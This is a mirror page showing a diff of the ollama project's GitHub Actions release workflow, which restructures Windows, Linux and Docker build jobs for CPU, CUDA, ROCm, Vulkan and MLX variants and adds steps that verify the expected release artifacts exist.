mirror of
https://github.com/ollama/ollama.git
synced 2026-09-09 20:53:00 -04:00
Compare commits
129
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
4784290c9b | ||
|
|
b839fa49f0 | ||
|
|
93bb382f9a | ||
|
|
8ed7b66d31 | ||
|
|
276afbf3a7 | ||
|
|
2ae9c05fbd | ||
|
|
6aa08b2c94 | ||
|
|
b2bc6c822c | ||
|
|
7703a00ade | ||
|
|
3052b16971 | ||
|
|
9eed9466fb | ||
|
|
a0d99b4a02 | ||
|
|
dd82c333ec | ||
|
|
f8750975c1 | ||
|
|
64d3680ab6 | ||
|
|
4c7d01cd4f | ||
|
|
eacaa79706 | ||
|
|
1e004ef209 | ||
|
|
4a34477557 | ||
|
|
eb76282573 | ||
|
|
c47ad4f228 | ||
|
|
e785d4e8b9 | ||
|
|
2e9b631176 | ||
|
|
087ffc697f | ||
|
|
11f5c77b4b | ||
|
|
e76f830221 | ||
|
|
3b54956946 | ||
|
|
8f882b054a | ||
|
|
e098a6afaa | ||
|
|
183f03d997 | ||
|
|
5e9c48cc40 | ||
|
|
6b389711f0 | ||
|
|
f5a50a7c3f | ||
|
|
5104df202d | ||
|
|
c1ba011f64 | ||
|
|
6d2bbd68e3 | ||
|
|
42467c2431 | ||
|
|
9c04e04e6b | ||
|
|
98b022f4f5 | ||
|
|
d60a21fcaa | ||
|
|
97c93a93b4 | ||
|
|
a058a75099 | ||
|
|
c359d22a08 | ||
|
|
0034967cfd | ||
|
|
66757a973d | ||
|
|
a718ed68a1 | ||
|
|
204f719b77 | ||
|
|
9618a45286 | ||
|
|
ed6a3e6c4e | ||
|
|
280b85f8a4 | ||
|
|
821a45ca6e | ||
|
|
676facf043 | ||
|
|
50184444da | ||
|
|
632bd88937 | ||
|
|
2ba0f9b96f | ||
|
|
5625904153 | ||
|
|
96f82b5ff2 | ||
|
|
9da4d0c6f8 | ||
|
|
edd30d7194 | ||
|
|
f417732279 | ||
|
|
72d18c99af | ||
|
|
02befa963c | ||
|
|
a743721ec8 | ||
|
|
2b54b72207 | ||
|
|
30f206e235 | ||
|
|
13006826f8 | ||
|
|
76eb5a9dc9 | ||
|
|
cb8af634b3 | ||
|
|
66cdf46e7d | ||
|
|
a7c8484bea | ||
|
|
3be6794929 | ||
|
|
444af2a712 | ||
|
|
12e04379cd | ||
|
|
f8a48df24d | ||
|
|
82e0ddb6fe | ||
|
|
1abd56b6e6 | ||
|
|
ded2db7d86 | ||
|
|
d00622060f | ||
|
|
177aefb8a9 | ||
|
|
07588c64ee | ||
|
|
4c97a940ca | ||
|
|
74cbf1d2c2 | ||
|
|
5c1e37eb67 | ||
|
|
f0078ae476 | ||
|
|
96201a623a | ||
|
|
9c94c2b11e | ||
|
|
e09b3f9fb5 | ||
|
|
a0099da2d1 | ||
|
|
25e0e81e12 | ||
|
|
87cff95af8 | ||
|
|
3ef69ef784 | ||
|
|
1a7786be14 | ||
|
|
3370ff8b1c | ||
|
|
455f57457d | ||
|
|
1d955ed990 | ||
|
|
d071237131 | ||
|
|
229a1303fb | ||
|
|
ac3d0657a2 | ||
|
|
01557ff313 | ||
|
|
e5a38739b4 | ||
|
|
5f56a289b3 | ||
|
|
ad8cda255d | ||
|
|
3e1b4fe39d | ||
|
|
52196f1a97 | ||
|
|
50bbda5660 | ||
|
|
4b5bdd3b25 | ||
|
|
e828061b6e | ||
|
|
7a2073d17b | ||
|
|
c952708169 | ||
|
|
f57d111754 | ||
|
|
c34a79a373 | ||
|
|
b051c9cf83 | ||
|
|
b7b7fa0454 | ||
|
|
4c076813be | ||
|
|
6780f0416a | ||
|
|
35fa277fa9 | ||
|
|
05747b02ab | ||
|
|
4e807fdedd | ||
|
|
7d3a6c3ae5 | ||
|
|
06ff728246 | ||
|
|
2c71d8d7ca | ||
|
|
00381496a3 | ||
|
|
5e9636fa05 | ||
|
|
630882621b | ||
|
|
0e93ccc2cd | ||
|
|
e7766a4a47 | ||
|
|
be7de10c41 | ||
|
|
11be8f6ac8 | ||
|
|
9db4bdbad6 |
No files matched your search
+144
-92
@@ -16,7 +16,7 @@ jobs:
|
||||
outputs:
|
||||
GOFLAGS: ${{ steps.goflags.outputs.GOFLAGS }}
|
||||
VERSION: ${{ steps.goflags.outputs.VERSION }}
|
||||
vendorsha: ${{ steps.changes.outputs.vendorsha }}
|
||||
vendorsha: ${{ steps.goflags.outputs.vendorsha }}
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- name: Set environment
|
||||
@@ -24,7 +24,7 @@ jobs:
|
||||
run: |
|
||||
echo GOFLAGS="'-ldflags=-w -s \"-X=github.com/ollama/ollama/version.Version=${GITHUB_REF_NAME#v}\" \"-X=github.com/ollama/ollama/server.mode=release\"'" | tee -a $GITHUB_OUTPUT
|
||||
echo VERSION="${GITHUB_REF_NAME#v}" | tee -a $GITHUB_OUTPUT
|
||||
echo vendorsha=$(make -f Makefile.sync print-base) | tee -a $GITHUB_OUTPUT
|
||||
echo vendorsha=$(cat LLAMA_CPP_VERSION)-$(cat MLX_VERSION)-$(cat MLX_C_VERSION) | tee -a $GITHUB_OUTPUT
|
||||
|
||||
darwin-build:
|
||||
runs-on: macos-26-xlarge
|
||||
@@ -57,7 +57,9 @@ jobs:
|
||||
go-version-file: go.mod
|
||||
cache-dependency-path: |
|
||||
go.sum
|
||||
Makefile.sync
|
||||
LLAMA_CPP_VERSION
|
||||
MLX_VERSION
|
||||
MLX_C_VERSION
|
||||
- run: |
|
||||
./scripts/build_darwin.sh
|
||||
- name: Log build results
|
||||
@@ -73,15 +75,18 @@ jobs:
|
||||
dist/*.dmg
|
||||
|
||||
windows-depends:
|
||||
needs: setup-environment
|
||||
strategy:
|
||||
matrix:
|
||||
os: [windows]
|
||||
arch: [amd64]
|
||||
preset: ['CPU']
|
||||
build-steps: ['cpu cpuArm64']
|
||||
include:
|
||||
- os: windows
|
||||
arch: amd64
|
||||
preset: 'CUDA 12'
|
||||
build-steps: cuda12
|
||||
install: https://developer.download.nvidia.com/compute/cuda/12.8.0/local_installers/cuda_12.8.0_571.96_windows.exe
|
||||
cuda-components:
|
||||
- '"cudart"'
|
||||
@@ -89,10 +94,10 @@ jobs:
|
||||
- '"cublas"'
|
||||
- '"cublas_dev"'
|
||||
cuda-version: '12.8'
|
||||
flags: ''
|
||||
- os: windows
|
||||
arch: amd64
|
||||
preset: 'CUDA 13'
|
||||
build-steps: cuda13
|
||||
install: https://developer.download.nvidia.com/compute/cuda/13.0.0/local_installers/cuda_13.0.0_windows.exe
|
||||
cuda-components:
|
||||
- '"cudart"'
|
||||
@@ -103,23 +108,23 @@ jobs:
|
||||
- '"nvvm"'
|
||||
- '"nvptxcompiler"'
|
||||
cuda-version: '13.0'
|
||||
flags: ''
|
||||
- os: windows
|
||||
arch: amd64
|
||||
preset: 'ROCm 6'
|
||||
install: https://download.amd.com/developer/eula/rocm-hub/AMD-Software-PRO-Edition-24.Q4-WinSvr2022-For-HIP.exe
|
||||
rocm-version: '6.2'
|
||||
flags: '-DCMAKE_C_COMPILER=clang -DCMAKE_CXX_COMPILER=clang++ -DCMAKE_C_FLAGS="-parallel-jobs=4 -Wno-ignored-attributes -Wno-deprecated-pragma" -DCMAKE_CXX_FLAGS="-parallel-jobs=4 -Wno-ignored-attributes -Wno-deprecated-pragma"'
|
||||
runner_dir: 'rocm'
|
||||
preset: 'ROCm 7'
|
||||
build-steps: rocm7
|
||||
install: https://download.amd.com/developer/eula/rocm-hub/AMD-Software-PRO-Edition-26.Q1-Win11-For-HIP.exe
|
||||
rocm-version: '7.1'
|
||||
- os: windows
|
||||
arch: amd64
|
||||
preset: Vulkan
|
||||
build-steps: vulkan
|
||||
install: https://sdk.lunarg.com/sdk/download/1.4.321.1/windows/vulkansdk-windows-X64-1.4.321.1.exe
|
||||
flags: ''
|
||||
runner_dir: 'vulkan'
|
||||
- os: windows
|
||||
arch: amd64
|
||||
preset: 'MLX CUDA 13'
|
||||
build-steps: mlxCuda13
|
||||
build-parallel: '16'
|
||||
cmake-cuda-flags: '-t 6'
|
||||
install: https://developer.download.nvidia.com/compute/cuda/13.0.0/local_installers/cuda_13.0.0_windows.exe
|
||||
cudnn-install: https://developer.download.nvidia.com/compute/cudnn/redist/cudnn/windows-x86_64/cudnn-windows-x86_64-9.18.1.3_cuda13-archive.zip
|
||||
cuda-components:
|
||||
@@ -135,13 +140,12 @@ jobs:
|
||||
- '"nvvm"'
|
||||
- '"nvptxcompiler"'
|
||||
cuda-version: '13.0'
|
||||
flags: ''
|
||||
runs-on: ${{ matrix.arch == 'arm64' && format('{0}-{1}', matrix.os, matrix.arch) || matrix.os }}
|
||||
environment: release
|
||||
env:
|
||||
GOFLAGS: ${{ needs.setup-environment.outputs.GOFLAGS }}
|
||||
VERSION: ${{ needs.setup-environment.outputs.VERSION }}
|
||||
steps:
|
||||
# Increase pagefile to handle momentary spikes in RAM from NVCC compiles
|
||||
- if: startsWith(matrix.preset, 'MLX ')
|
||||
name: Increase pagefile to 200 GB
|
||||
uses: al-cheb/configure-pagefile-action@v1.5
|
||||
@@ -155,6 +159,15 @@ jobs:
|
||||
if (Get-Command ccache -ErrorAction SilentlyContinue) {
|
||||
ccache -o cache_dir=${{ github.workspace }}\.ccache
|
||||
}
|
||||
- if: matrix.preset == 'CPU'
|
||||
name: Install Windows ARM64 cross compiler
|
||||
run: |
|
||||
Invoke-WebRequest -Uri "https://github.com/mstorsjo/llvm-mingw/releases/download/20240619/llvm-mingw-20240619-ucrt-x86_64.zip" -OutFile "${{ runner.temp }}\llvm-mingw-ucrt.zip"
|
||||
Expand-Archive -Path ${{ runner.temp }}\llvm-mingw-ucrt.zip -DestinationPath "C:\Program Files\"
|
||||
$installPath=(Resolve-Path -Path "C:\Program Files\llvm-mingw-*-ucrt-x86_64").path
|
||||
if (!(Test-Path "$installPath\bin\aarch64-w64-mingw32-gcc.exe")) {
|
||||
throw "llvm-mingw x86_64 package is missing the aarch64 cross compiler"
|
||||
}
|
||||
- if: startsWith(matrix.preset, 'CUDA ') || startsWith(matrix.preset, 'ROCm ') || startsWith(matrix.preset, 'Vulkan') || startsWith(matrix.preset, 'MLX ')
|
||||
id: cache-install
|
||||
uses: actions/cache/restore@v4
|
||||
@@ -203,12 +216,12 @@ jobs:
|
||||
}
|
||||
|
||||
$vulkanPath = (Resolve-Path "C:\VulkanSDK\*").path
|
||||
$vulkanRuntime = Join-Path $vulkanPath "Helpers\VulkanRT.exe"
|
||||
if (Test-Path $vulkanRuntime) {
|
||||
Start-Process -FilePath $vulkanRuntime -ArgumentList "/s" -NoNewWindow -Wait
|
||||
}
|
||||
echo "$vulkanPath\bin" | Out-File -FilePath $env:GITHUB_PATH -Encoding utf8 -Append
|
||||
echo "VULKAN_SDK=$vulkanPath" >> $env:GITHUB_ENV
|
||||
- if: matrix.preset == 'CPU'
|
||||
run: |
|
||||
echo "CC=clang.exe" | Out-File -FilePath $env:GITHUB_ENV -Append
|
||||
echo "CXX=clang++.exe" | Out-File -FilePath $env:GITHUB_ENV -Append
|
||||
- if: startsWith(matrix.preset, 'MLX ')
|
||||
name: Install cuDNN for MLX
|
||||
run: |
|
||||
@@ -240,73 +253,63 @@ jobs:
|
||||
with:
|
||||
path: ${{ github.workspace }}\.ccache
|
||||
key: ccache-${{ matrix.os }}-${{ matrix.arch }}-${{ matrix.preset }}-${{ needs.setup-environment.outputs.vendorsha }}
|
||||
- name: Build target "${{ matrix.preset }}"
|
||||
- name: Build Windows dependencies
|
||||
run: |
|
||||
Import-Module 'C:\Program Files\Microsoft Visual Studio\2022\Enterprise\Common7\Tools\Microsoft.VisualStudio.DevShell.dll'
|
||||
Enter-VsDevShell -VsInstallPath 'C:\Program Files\Microsoft Visual Studio\2022\Enterprise' -SkipAutomaticLocation -DevCmdArguments '-arch=x64 -no_logo'
|
||||
cmake --preset "${{ matrix.preset }}" ${{ matrix.flags }} --install-prefix "$((pwd).Path)\dist\${{ matrix.os }}-${{ matrix.arch }}"
|
||||
cmake --build --preset "${{ matrix.preset }}" -- -l $([Environment]::ProcessorCount)
|
||||
cmake --install build --component "${{ startsWith(matrix.preset, 'MLX ') && 'MLX' || startsWith(matrix.preset, 'CUDA ') && 'CUDA' || startsWith(matrix.preset, 'ROCm ') && 'HIP' || startsWith(matrix.preset, 'Vulkan') && 'Vulkan' || 'CPU' }}" --strip
|
||||
if ('${{ matrix.preset }}'.StartsWith('MLX ')) { cmake --install build --component MLX_VENDOR }
|
||||
Remove-Item -Path dist\lib\ollama\rocm\rocblas\library\*gfx906* -ErrorAction SilentlyContinue
|
||||
$steps = "${{ matrix.build-steps }}".Split(' ', [System.StringSplitOptions]::RemoveEmptyEntries)
|
||||
./scripts/build_windows.ps1 @steps
|
||||
env:
|
||||
CMAKE_GENERATOR: Ninja
|
||||
OLLAMA_BUILD_PARALLEL: ${{ matrix.build-parallel || '' }}
|
||||
OLLAMA_CMAKE_CUDA_FLAGS: ${{ matrix.cmake-cuda-flags || '' }}
|
||||
- name: Log build results
|
||||
run: |
|
||||
gci -path .\dist -Recurse -File | ForEach-Object { get-filehash -path $_.FullName -Algorithm SHA256 } | format-list
|
||||
- if: matrix.preset == 'CPU'
|
||||
name: Verify Windows CPU payloads
|
||||
shell: bash
|
||||
run: |
|
||||
set -euo pipefail
|
||||
for payload in \
|
||||
dist/windows-amd64/lib/ollama/llama-server.exe \
|
||||
dist/windows-arm64/lib/ollama/llama-server.exe
|
||||
do
|
||||
[ -f "$payload" ] || { echo "missing $payload"; exit 1; }
|
||||
done
|
||||
- uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: depends-${{ matrix.os }}-${{ matrix.arch }}-${{ matrix.preset }}
|
||||
path: dist\*
|
||||
|
||||
windows-build:
|
||||
strategy:
|
||||
matrix:
|
||||
os: [windows]
|
||||
arch: [amd64, arm64]
|
||||
include:
|
||||
- os: windows
|
||||
arch: amd64
|
||||
llvmarch: x86_64
|
||||
- os: windows
|
||||
arch: arm64
|
||||
llvmarch: aarch64
|
||||
runs-on: ${{ matrix.arch == 'arm64' && format('{0}-{1}', matrix.os, matrix.arch) || matrix.os }}
|
||||
runs-on: windows
|
||||
environment: release
|
||||
needs: [setup-environment]
|
||||
env:
|
||||
GOFLAGS: ${{ needs.setup-environment.outputs.GOFLAGS }}
|
||||
VERSION: ${{ needs.setup-environment.outputs.VERSION }}
|
||||
steps:
|
||||
- name: Install ARM64 system dependencies
|
||||
if: matrix.arch == 'arm64'
|
||||
run: |
|
||||
$ErrorActionPreference = "Stop"
|
||||
Set-ExecutionPolicy Bypass -Scope Process -Force
|
||||
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072
|
||||
iex ((New-Object System.Net.WebClient).DownloadString('https://community.chocolatey.org/install.ps1'))
|
||||
echo "C:\ProgramData\chocolatey\bin" | Out-File -FilePath $env:GITHUB_PATH -Encoding utf8 -Append
|
||||
|
||||
Invoke-WebRequest -Uri https://aka.ms/vs/17/release/vc_redist.arm64.exe -OutFile "${{ runner.temp }}\vc_redist.arm64.exe"
|
||||
Start-Process -FilePath "${{ runner.temp }}\vc_redist.arm64.exe" -ArgumentList @("/install", "/quiet", "/norestart") -NoNewWindow -Wait
|
||||
|
||||
choco install -y --no-progress git gzip
|
||||
echo "C:\Program Files\Git\cmd" | Out-File -FilePath $env:GITHUB_PATH -Encoding utf8 -Append
|
||||
- name: Install clang and gcc-compat
|
||||
run: |
|
||||
$ErrorActionPreference = "Stop"
|
||||
Set-ExecutionPolicy Bypass -Scope Process -Force
|
||||
Invoke-WebRequest -Uri "https://github.com/mstorsjo/llvm-mingw/releases/download/20240619/llvm-mingw-20240619-ucrt-${{ matrix.llvmarch }}.zip" -OutFile "${{ runner.temp }}\llvm-mingw-ucrt.zip"
|
||||
Invoke-WebRequest -Uri "https://github.com/mstorsjo/llvm-mingw/releases/download/20240619/llvm-mingw-20240619-ucrt-x86_64.zip" -OutFile "${{ runner.temp }}\llvm-mingw-ucrt.zip"
|
||||
Expand-Archive -Path ${{ runner.temp }}\llvm-mingw-ucrt.zip -DestinationPath "C:\Program Files\"
|
||||
$installPath=(Resolve-Path -Path "C:\Program Files\llvm-mingw-*-ucrt*").path
|
||||
$installPath=(Resolve-Path -Path "C:\Program Files\llvm-mingw-*-ucrt-x86_64").path
|
||||
echo "$installPath\bin" | Out-File -FilePath $env:GITHUB_PATH -Encoding utf8 -Append
|
||||
if (!(Test-Path "$installPath\bin\aarch64-w64-mingw32-gcc.exe")) {
|
||||
throw "llvm-mingw x86_64 package is missing the aarch64 cross compiler"
|
||||
}
|
||||
- uses: actions/checkout@v4
|
||||
- uses: actions/setup-go@v5
|
||||
with:
|
||||
go-version-file: go.mod
|
||||
cache-dependency-path: |
|
||||
go.sum
|
||||
Makefile.sync
|
||||
LLAMA_CPP_VERSION
|
||||
MLX_VERSION
|
||||
MLX_C_VERSION
|
||||
- name: Verify gcc is actually clang
|
||||
run: |
|
||||
$ErrorActionPreference='Continue'
|
||||
@@ -323,20 +326,30 @@ jobs:
|
||||
with:
|
||||
node-version: "20"
|
||||
- run: |
|
||||
./scripts/build_windows ollama app
|
||||
./scripts/build_windows ollama ollamaArm64 app appArm64
|
||||
- name: Verify Windows build payloads
|
||||
shell: bash
|
||||
run: |
|
||||
set -euo pipefail
|
||||
for payload in \
|
||||
dist/windows-amd64/ollama.exe \
|
||||
dist/windows-arm64/ollama.exe
|
||||
do
|
||||
[ -f "$payload" ] || { echo "missing $payload"; exit 1; }
|
||||
done
|
||||
- name: Log build results
|
||||
run: |
|
||||
gci -path .\dist -Recurse -File | ForEach-Object { get-filehash -path $_.FullName -Algorithm SHA256 } | format-list
|
||||
- uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: build-${{ matrix.os }}-${{ matrix.arch }}
|
||||
name: build-windows-amd64
|
||||
path: |
|
||||
dist\*
|
||||
|
||||
windows-app:
|
||||
runs-on: windows
|
||||
environment: release
|
||||
needs: [windows-build, windows-depends]
|
||||
needs: [setup-environment, windows-build, windows-depends]
|
||||
env:
|
||||
GOFLAGS: ${{ needs.setup-environment.outputs.GOFLAGS }}
|
||||
VERSION: ${{ needs.setup-environment.outputs.VERSION }}
|
||||
@@ -362,7 +375,9 @@ jobs:
|
||||
go-version-file: go.mod
|
||||
cache-dependency-path: |
|
||||
go.sum
|
||||
Makefile.sync
|
||||
LLAMA_CPP_VERSION
|
||||
MLX_VERSION
|
||||
MLX_C_VERSION
|
||||
- uses: actions/download-artifact@v4
|
||||
with:
|
||||
pattern: depends-windows*
|
||||
@@ -376,6 +391,18 @@ jobs:
|
||||
- name: Log dist contents after download
|
||||
run: |
|
||||
gci -path .\dist -recurse
|
||||
- name: Verify Windows package inputs
|
||||
shell: bash
|
||||
run: |
|
||||
set -euo pipefail
|
||||
for payload in \
|
||||
dist/windows-amd64/ollama.exe \
|
||||
dist/windows-amd64/lib/ollama/llama-server.exe \
|
||||
dist/windows-arm64/ollama.exe \
|
||||
dist/windows-arm64/lib/ollama/llama-server.exe
|
||||
do
|
||||
[ -f "$payload" ] || { echo "missing $payload"; exit 1; }
|
||||
done
|
||||
- run: |
|
||||
./scripts/build_windows.ps1 deps sign installer zip
|
||||
- name: Log contents after build
|
||||
@@ -389,31 +416,28 @@ jobs:
|
||||
dist/*.ps1
|
||||
dist/OllamaSetup.exe
|
||||
|
||||
# Pre-build each Dockerfile stage on its own runner in parallel and push the
|
||||
# resulting layers to a per-stage registry cache. The downstream
|
||||
# docker-build-push job then assembles cache-hit-only.
|
||||
linux-depends:
|
||||
strategy:
|
||||
matrix:
|
||||
include:
|
||||
- arch: amd64
|
||||
target: cpu
|
||||
target: llama-server-cpu
|
||||
- arch: amd64
|
||||
target: cuda-12
|
||||
target: llama-server-cuda_v12
|
||||
- arch: amd64
|
||||
target: cuda-13
|
||||
target: llama-server-cuda_v13
|
||||
- arch: amd64
|
||||
target: mlx
|
||||
- arch: amd64
|
||||
target: rocm-7
|
||||
target: llama-server-rocm_v7_2
|
||||
- arch: amd64
|
||||
target: vulkan
|
||||
target: llama-server-vulkan
|
||||
- arch: arm64
|
||||
target: cpu
|
||||
target: llama-server-cpu
|
||||
- arch: arm64
|
||||
target: cuda-12
|
||||
target: llama-server-cuda_v12
|
||||
- arch: arm64
|
||||
target: cuda-13
|
||||
target: llama-server-cuda_v13
|
||||
- arch: arm64
|
||||
target: jetpack-5
|
||||
- arch: arm64
|
||||
@@ -430,7 +454,6 @@ jobs:
|
||||
with:
|
||||
username: ${{ vars.DOCKER_USER }}
|
||||
password: ${{ secrets.DOCKER_ACCESS_TOKEN }}
|
||||
# Increase swap to handle momentary spikes in RAM from NVCC compiles
|
||||
- if: matrix.target == 'mlx'
|
||||
name: Increase Linux swap to 200 GB
|
||||
shell: bash
|
||||
@@ -459,12 +482,13 @@ jobs:
|
||||
provenance: false
|
||||
sbom: false
|
||||
build-args: |
|
||||
GOFLAGS=${{ env.GOFLAGS }}
|
||||
CGO_CFLAGS=${{ env.CGO_CFLAGS }}
|
||||
CGO_CXXFLAGS=${{ env.CGO_CXXFLAGS }}
|
||||
GOFLAGS=${{ env.GOFLAGS }}
|
||||
APT_MIRROR=http://azure.archive.ubuntu.com/ubuntu
|
||||
OLLAMA_MLX_BUILD_JOBS=16
|
||||
OLLAMA_MLX_NVCC_THREADS=6
|
||||
APT_MIRROR=http://azure.archive.ubuntu.com/ubuntu
|
||||
APT_PORTS_MIRROR=http://azure.ports.ubuntu.com/ubuntu-ports
|
||||
cache-from: |
|
||||
type=registry,ref=ollama/release:cache-${{ matrix.arch }}-${{ matrix.target }}
|
||||
type=registry,ref=${{ vars.DOCKER_REPO }}:latest
|
||||
@@ -472,58 +496,65 @@ jobs:
|
||||
|
||||
# Build each Docker variant (OS, arch, and flavor) separately. Using QEMU is unreliable and slower.
|
||||
# Heavy stages were pre-built by linux-depends; this job is cache-hit-only for those layers
|
||||
# and just assembles, runs the Go build, and pushes the final image.
|
||||
# and just assembles, runs the Go build, pushes the final image, and extracts release bundles.
|
||||
docker-build-push:
|
||||
strategy:
|
||||
matrix:
|
||||
include:
|
||||
- os: linux
|
||||
arch: arm64
|
||||
archive-target: archive
|
||||
build-args: |
|
||||
CGO_CFLAGS
|
||||
CGO_CXXFLAGS
|
||||
GOFLAGS
|
||||
APT_MIRROR=http://azure.archive.ubuntu.com/ubuntu
|
||||
APT_PORTS_MIRROR=http://azure.ports.ubuntu.com/ubuntu-ports
|
||||
OLLAMA_MLX_BUILD_JOBS=16
|
||||
OLLAMA_MLX_NVCC_THREADS=6
|
||||
cache-from: |
|
||||
type=registry,ref=${{ vars.DOCKER_REPO }}:latest
|
||||
type=registry,ref=ollama/release:cache-arm64-cpu
|
||||
type=registry,ref=ollama/release:cache-arm64-cuda-12
|
||||
type=registry,ref=ollama/release:cache-arm64-cuda-13
|
||||
type=registry,ref=ollama/release:cache-arm64-llama-server-cpu
|
||||
type=registry,ref=ollama/release:cache-arm64-llama-server-cuda_v12
|
||||
type=registry,ref=ollama/release:cache-arm64-llama-server-cuda_v13
|
||||
type=registry,ref=ollama/release:cache-arm64-jetpack-5
|
||||
type=registry,ref=ollama/release:cache-arm64-jetpack-6
|
||||
type=registry,ref=${{ vars.DOCKER_REPO }}:latest
|
||||
- os: linux
|
||||
arch: amd64
|
||||
archive-target: archive
|
||||
build-args: |
|
||||
CGO_CFLAGS
|
||||
CGO_CXXFLAGS
|
||||
GOFLAGS
|
||||
APT_MIRROR=http://azure.archive.ubuntu.com/ubuntu
|
||||
APT_PORTS_MIRROR=http://azure.ports.ubuntu.com/ubuntu-ports
|
||||
OLLAMA_MLX_BUILD_JOBS=16
|
||||
OLLAMA_MLX_NVCC_THREADS=6
|
||||
cache-from: |
|
||||
type=registry,ref=${{ vars.DOCKER_REPO }}:latest
|
||||
type=registry,ref=ollama/release:cache-amd64-cpu
|
||||
type=registry,ref=ollama/release:cache-amd64-cuda-12
|
||||
type=registry,ref=ollama/release:cache-amd64-cuda-13
|
||||
type=registry,ref=ollama/release:cache-amd64-llama-server-cpu
|
||||
type=registry,ref=ollama/release:cache-amd64-llama-server-cuda_v12
|
||||
type=registry,ref=ollama/release:cache-amd64-llama-server-cuda_v13
|
||||
type=registry,ref=ollama/release:cache-amd64-mlx
|
||||
type=registry,ref=ollama/release:cache-amd64-vulkan
|
||||
type=registry,ref=ollama/release:cache-amd64-llama-server-rocm_v7_2
|
||||
type=registry,ref=ollama/release:cache-amd64-llama-server-vulkan
|
||||
type=registry,ref=${{ vars.DOCKER_REPO }}:latest
|
||||
- os: linux
|
||||
arch: amd64
|
||||
suffix: '-rocm'
|
||||
archive-target: image-archive
|
||||
build-args: |
|
||||
CGO_CFLAGS
|
||||
CGO_CXXFLAGS
|
||||
GOFLAGS
|
||||
FLAVOR=rocm
|
||||
APT_MIRROR=http://azure.archive.ubuntu.com/ubuntu
|
||||
APT_PORTS_MIRROR=http://azure.ports.ubuntu.com/ubuntu-ports
|
||||
OLLAMA_MLX_BUILD_JOBS=16
|
||||
OLLAMA_MLX_NVCC_THREADS=6
|
||||
cache-from: |
|
||||
type=registry,ref=ollama/release:cache-amd64-llama-server-cpu
|
||||
type=registry,ref=ollama/release:cache-amd64-llama-server-rocm_v7_2
|
||||
type=registry,ref=${{ vars.DOCKER_REPO }}:latest
|
||||
type=registry,ref=ollama/release:cache-amd64-cpu
|
||||
type=registry,ref=ollama/release:cache-amd64-rocm-7
|
||||
runs-on: ${{ matrix.arch == 'arm64' && format('{0}-{1}', matrix.os, matrix.arch) || matrix.os }}
|
||||
environment: release
|
||||
needs: [setup-environment, linux-depends]
|
||||
@@ -556,14 +587,11 @@ jobs:
|
||||
name: digest-${{ matrix.os }}-${{ matrix.arch }}-${{ matrix.suffix }}
|
||||
path: |
|
||||
${{ runner.temp }}/${{ matrix.os }}-${{ matrix.arch }}-${{ matrix.suffix }}.txt
|
||||
# Re-run buildx with --target archive against buildkit's local cache to
|
||||
# extract the release directory layout. All upstream stages were just
|
||||
# built above, so this is a cache-hit-only pass that just writes files.
|
||||
- uses: docker/build-push-action@v6
|
||||
with:
|
||||
context: .
|
||||
platforms: ${{ matrix.os }}/${{ matrix.arch }}
|
||||
target: archive
|
||||
target: ${{ matrix.archive-target }}
|
||||
provenance: false
|
||||
sbom: false
|
||||
build-args: ${{ matrix.build-args }}
|
||||
@@ -572,24 +600,33 @@ jobs:
|
||||
- name: Deduplicate CUDA libraries
|
||||
run: |
|
||||
./scripts/deduplicate_cuda_libs.sh dist/${{ matrix.os }}-${{ matrix.arch }}
|
||||
- name: Verify Linux build payloads
|
||||
shell: bash
|
||||
run: |
|
||||
set -euo pipefail
|
||||
base="dist/${{ matrix.os }}-${{ matrix.arch }}"
|
||||
for payload in \
|
||||
"$base/bin/ollama" \
|
||||
"$base/lib/ollama/llama-server"
|
||||
do
|
||||
[ -f "$payload" ] || { echo "missing $payload"; exit 1; }
|
||||
done
|
||||
- run: |
|
||||
for COMPONENT in bin/* lib/ollama/*; do
|
||||
case "$COMPONENT" in
|
||||
bin/ollama*) echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}.tar.in ;;
|
||||
lib/ollama/*.so*) echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}.tar.in ;;
|
||||
lib/ollama/llama-server*|lib/ollama/llama-quantize*) echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}.tar.in ;;
|
||||
lib/ollama/cuda_v*) echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}.tar.in ;;
|
||||
lib/ollama/vulkan*) echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}.tar.in ;;
|
||||
lib/ollama/mlx*) echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}-mlx.tar.in ;;
|
||||
lib/ollama/include*) echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}.tar.in ;;
|
||||
lib/ollama/include*) echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}-mlx.tar.in ;;
|
||||
lib/ollama/cuda_jetpack5) echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}-jetpack5.tar.in ;;
|
||||
lib/ollama/cuda_jetpack6) echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}-jetpack6.tar.in ;;
|
||||
lib/ollama/rocm) echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}-rocm.tar.in ;;
|
||||
lib/ollama/rocm_v*) echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}-rocm.tar.in ;;
|
||||
esac
|
||||
done
|
||||
working-directory: dist/${{ matrix.os }}-${{ matrix.arch }}
|
||||
# rocm builds cpu + rocm libs for the container image, which
|
||||
# creates a CPU-only amd64 tarball that would collide with the full
|
||||
# bundle when the release job merges artifacts.
|
||||
- if: matrix.suffix == '-rocm'
|
||||
run: rm -f dist/${{ matrix.os }}-${{ matrix.arch }}/ollama-${{ matrix.os }}-${{ matrix.arch }}.tar.in
|
||||
- run: |
|
||||
@@ -665,6 +702,21 @@ jobs:
|
||||
- name: Copy install scripts to dist
|
||||
run: |
|
||||
cp scripts/install.sh dist/install.sh
|
||||
- name: Verify release artifacts
|
||||
run: |
|
||||
required=(
|
||||
dist/OllamaSetup.exe
|
||||
dist/install.ps1
|
||||
dist/install.sh
|
||||
dist/ollama-windows-amd64.zip
|
||||
dist/ollama-windows-arm64.zip
|
||||
)
|
||||
for payload in "${required[@]}"; do
|
||||
if [ ! -f "$payload" ]; then
|
||||
echo "::error::Missing expected release artifact: $payload"
|
||||
exit 1
|
||||
